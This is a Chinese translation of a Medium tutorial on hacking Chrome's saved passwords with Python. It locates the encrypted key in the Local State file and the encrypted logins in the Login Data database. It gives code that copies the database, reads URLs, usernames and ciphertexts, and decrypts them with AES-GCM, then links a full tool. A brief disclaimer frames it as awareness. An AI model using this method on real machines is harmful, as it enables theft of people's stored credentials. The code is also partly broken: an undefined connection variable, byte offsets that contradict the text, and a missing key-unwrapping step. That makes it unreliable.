你认为将密码存储在 Chrome 中是否安全?简短的回答是“不”。任何有权访问您的笔记本电脑的犯罪者都可以在几秒钟内解密你的所有密码。
便利是有代价的
不可否认,在 Chrome 中保存密码很方便。它可以帮助您自动登录您的网站,同时确保您的密码已加密。肇事者访问您的加密网站密码的唯一方法是拥有您的笔记本电脑用户名和密码。
在 Windows 登录提示中输入您的用户名和密码以解密网站密码
虚假的安全感
说实话,Windows 登录提示是一个弱安全功能。你有没有想过 Chrome 如何在没有任何提示的情况下自动填写密码字段?这是因为 Chrome 已将您的密码保存在应用程序中的其他位置。
值得注意的是,他们没有在安全的位置保存。
解密 Chrome 密码的步骤
解密 Chrome 密码有四个主要步骤
- 查找加密密钥
- 查找加密的密码
- 了解 AES 加密
- 解密保存的密码
第 1 步:查找加密密钥
(1)加密密钥存储在 JSON 文件中,该文件可以在 Windows PC 上的以下位置找到。
C:\Users\<PC Name>\AppData\Local\Google\Chrome\User Data\Local State
打开文件后,搜索单词“encrypted_key”,如下图所示:
瞧!您已找到用于解密已保存密码的密钥。
第 2 步:查找加密的密码
加密的密码存储在 SQLite 数据库中,该数据库可以在 Windows PC 的以下位置找到
C:\Users\<PC Name>\AppData\Local\Google\Chrome\User Data\Default\Login Data
要提取加密密码,您需要一个 SQLite3 数据库连接。运行以下代码以提取它。
#Chrome username & password file path chrome_path_login_db = "C:\Users\<PC Name>\AppData\Local\Google\Chrome\User Data\Default\Login Data" shutil.copy2(chrome_path_login_db, "Loginvault.db") #Connect to sqlite database sqlite3.connect("Loginvault.db") cursor = conn.cursor()#Select statement to retrieve info cursor.execute("SELECT action_url, username_value, password_value FROM logins") for index,login in enumerate(cursor.fetchall()): url = login[0] username = login[1] ciphertext= login[2] print("Url:",url) print("Username",username) print("Cipher Text",ciphertext)
代码执行后,您将能够检索三个关键信息:
- 网址
- 用户名
- 密文
在密文中,它包含 AES 解密所需的两个重要子信息:
- 初始化向量
- 加密密码
初始化向量存储在字符 4 到 20 之间,而加密密码存储在字符 21 到 N-16 之间(即总字符数减去 16)。
第 3 步:了解 AES 加密
为了解密密码,我们需要首先了解 AES 加密,这是 Chrome 用于加密和解密密码的对称密钥算法。
AES 使用加密密钥并执行复杂的数学行操作(例如加法,减法,混合和移位)来加密密码。
为了提高其安全性,可以添加初始化向量(随机数据串),使犯罪者更难以破解密码,因为他必须找到加密密钥和初始化向量来执行 AES 加密。
以下是显示 AES 加密机制的框图:
在 AES 之后,加密的密钥存储在本地状态文件中,而加密的密码与初始化向量连接并作为密文存储在 SQLite3 数据库中。
第 4 步:解密保存的密码
知道 AES 是对称密钥加密,它使用相同的密钥进行加密和解密。我们可以使用我们发现的加密密钥和初始化向量来解密带有 AES 加密的密码。
#Step 1: Extracting initilisation vector from ciphertext initialisation_vector = ciphertext[3:15]#Step 2: Extracting encrypted password from ciphertext encrypted_password = ciphertext[15:-16]#Step 3:Build the AES algorithm to decrypt the password cipher = AES.new(secret_key, AES.MODE_GCM, initialisation_vector) decrypted_pass = cipher.decrypt(encrypted_password) decrypted_pass = decrypted_pass.decode()#Step 4: Decrypted Password print(decrypted_pass)
结果
代码执行后,您将能够从 Chrome 中检索 URL,用户名和密码。
学习材料
有关完整代码,请访问: https://github.com/ohyicong/decrypt-chrome-passwords
要了解如何破解火狐密码,请访问:如何使用 Python 破解火狐密码
免責聲明
我正在分享这些知识,以提高人们对此漏洞的认识,并展示利用此漏洞是多么容易。您不应在未经授权的设备上使用此工具。干杯!
翻译自:https://ohyicong.medium.com/how-to-hack-chrome-password-with-python-1bedc167be3d